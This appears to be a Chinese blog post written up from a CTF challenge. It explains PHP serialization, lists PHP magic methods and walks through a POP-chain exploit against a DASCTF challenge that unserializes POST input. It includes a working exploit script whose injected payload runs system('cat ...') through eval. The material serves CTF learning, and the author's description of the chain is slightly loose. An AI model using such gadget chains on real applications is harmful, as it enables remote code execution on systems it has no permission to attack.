【WEB】POP链的构造

序列化与反序列化

序列化是为了方便于数据的传输,将对象转换为字节流,载入网络/磁盘IO流中,可以通过对应方法将其还原出来。

序列化与编码的区别

对象===【序列化】==>消息===【编码】==>字节流

总结来说就是,先把对象拆开变成一串可以还原成原对象的字符串,再通过特定编码,变为网络传输的字节流

PHP中的魔术方法

__sleep() //使用serialize时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__construct() //对象创建时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__set_state()//调用var_export()导出类时,此静态方法会被调用。
__clone()//当对象复制完成时调用
__autoload()//尝试加载未定义的类
__debugInfo()//打印所需调试信息

题目参考

2022DASCTF X SU 三月春季挑战赛
源码

<?php
class crow
{
    public $v1;
    public $v2;
    function eval() {
        echo new $this->v1($this->v2);
    }
    public function __invoke()
    {
        $this->v1->world();
    }
}
class fin
{
    public $f1;
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
    public function run()
    {
        ($this->f1)();
    }
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
}
class what
{
    public $a;
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function run()
    {
        ($this->m1)();
    }
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}
if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

具体POP链如下

fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)

具体利用方法

<?php
class what
{
    public $a;
    public function __construct(){
        $this->a = new fin();
    }
}
class mix{
    public $m1;
    public function __construct(){
        $this->m1 = "?><?=system('cat H0mvz850F.php');";
    }
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}
class fin{
    public $f1;
    public function __construct(){
        $this->f1 = array(new mix(), 'get_flag');
    }
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));

实际POST后运行的为
如果本来类里面没有的,外面再次定义的话就是新增一个类函数

<?php
class crow
{
    public $v1;
    public $v2;
    function eval() {
        echo new $this->v1($this->v2);
    }
    public function __invoke()
    {
        $this->v1->world();
    }
}
class fin
{
    public $f1;//好像这个f1少了个赋值
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
    public function run()
    {
        ($this->f1)();
    }
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
    public function __construct(){
        $this->f1 = array(new mix(), 'get_flag');
    }
}
class what
{
    public $a;
    public function __construct(){
        $this->a = new fin();
    }
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function run()
    {
        ($this->m1)();
    }
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
    public function __construct(){
        $this->m1 = "?><?=system('cat H0mvz850F.php');";
    }
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));
?>

这样下来就可以完成POP链利用了

参考文章

POP链的构造

发布者

正汰

永远是这样,山前面是山,天空上面是天空,道路前面还是道路,迷茫之后还有迷茫。

发表评论

您的电子邮箱地址不会被公开。